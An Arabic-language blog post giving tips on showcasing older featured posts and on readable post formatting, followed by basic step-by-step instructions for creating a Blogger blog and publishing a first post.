هنالك الكثير من المتابعين الذين ينظمون إلى قائمة أصدقاء ومتابعي مدونتك مع مرور الأيام ، كما أن هنالك الكثير من التدوينات المميزة والممتلئة بالفوائد الصالحة في كل الأوقات التي كتبتها في وقت سابق ، ولأن طبيعة التدوين هو اظهار الجديد دائماً وطمس التدوينات القديمة من الواجهة وجعلها في ارشيف الصفحات السابقة ، فانه سيكون من الخسارة أن لا يعلم القادمون الجدد والزوار إلى مدونتك بتلك التدوينات المميزة القديمة ، ربما كتبت احد تلك التدوينات المميزة بعد انطلاق المدونة مباشرة حين كان الزوار يعدون بالأصابع ، أما اليوم فهنالك المئات أو الآلاف من المتابعين الذين لم يكونوا موجودين في السابق ومن الأسف أن تذهب تلك التدوينات المميزة دون أن يقرأها أكبر قدر ممكن، لهذا كن حريصاً على اظهار وتثبيت التدوينات المميزة والقيمة.
يمكنك أن تضع مربعاً جانبياً في المدونة لعرض التدوينات المميزة وتضيف إليه كل ما يستحق التثبيت لتضل تلك التدوينات في واجهة الموقع دائماً وفي كل الصفحات ، وحين يصل أحد الزوار بالمصادفة إلى أحد صفحات المدونة سيشاهد ذلك المربع وتلك التدوينات وسيقرأها أكبر عدد ممكن من الزوار والمتابعين.
تخيل أن هنالك تدوينة ممتلئة بالفوائد والمعلومات القيمة لكنها كتبت بخط صغير ولون قاتم وتم رص الجمل والفقرات بشكل متتابع دون فواص بحيث تبدوا من بعيد ككتلة من الكلمات المتراصة الغير واضحة المعالم ،، طبعاً الكثير من القراء سينفرون من هذه المقالة او التدوينة قبل قرائتها ومهما كانت جودة المعلومات التي في المقالة فلن يغري هذا الكثير بتحمل القراءة بتلك الصورة التي هي عليها ، إن طريقة العرض مهمة جدا وهي تتكامل مع قيمة المحتوى لتصنع محتوى عربي ذو جودة عالية وهذا ما نحتاجه في فضاء الانترنت العربي.
اختر نمط وتصميم الكتابة المناسب لكل تدويناتك ( مثل نوع الخط وحجمه ولونه ولو الخلفية و...الخ ) وحاول تقسيم التدوينات الطويلة إلى فقرات وحاول وضع عناوين فرعية بداية كل قسم ليسهل على القارئ التنقل في موضوعات التدوينة الرئيسية ولكي لا يمل من القارءة ويصل إلى آخر كلمة فيها , كذلك اعتني بتصميم المدونة وتناسق الوانها ، واعلم أن النجاح في التدوين له جناحين أحدهما ( ماذا تقدم ) والثاني ( كيف تقدمه ).هناك حكمة تقول ” لكي تتعلم شيء حاول أن تعلمه” بمعنى أنه إذا أجبرت على تعليم شخص ما شيء لا اعرفه, فحتماً سأطلع على هذا الشيء بالتفصيل لكي أكون قادر على تعليمه لهذا الشخص.
كيفية انشاء مدونة بلوجر:
الخطوة الأولى
قم بإنشاء حساب جميل gmail + حساب في جوجل
الخطوة الثانية
الولوج الى موقع بلوجرwww.blogger.com
الخطوة الثالثة
تسجيل الدخول (طبعا كلمة السر الخاصة بحساب جوجل)
الخطوة الرابعة
اضغط مدونة جديدة
الخطوة الخامسة
انشاء مدونتك:ستظهر لك صفحة بهاصندوقان الأول خاص باسم المدونة والثاني خاص بالعنوان اي رابط مدونتك. فاكتب اسم مدونتك ثم العنوان .
الخطوة السادسة
اختيار القالب الخاص بمدونتك.تصفح النماذج المقترحة مسبقا ثم اختر ما يناسبك.
بعد ذلك اضغط زر انشاء المدونة.
ملاحظة :يمكنك تركيب قالب المحترفين ثم تقم بالتعديل عليه في كود html . طبعا هناك العديد من قوالب بلوجر للتحميل مجانا .ابحث في مدونتي هذه ستجد شروحات مفصلة في ذلك.
الآن اصبحت تملك مدونة لكنها لا تحتوي على مشاركات.
الآن المدونة جاهزة ،يجب اضافة مواضيع جديدة فإليك الطريقة:
اضغط زر مشاركات ثم اكتب عنوان المشاركة واكتب في الموضوع الذي اخترت له عنوانا.
بعد ذلك اضغط زرالنشر لكي ينشر الموضوع على مدونتك.
بهذه المرحلة تكون قد دخلت عالم المدونات.
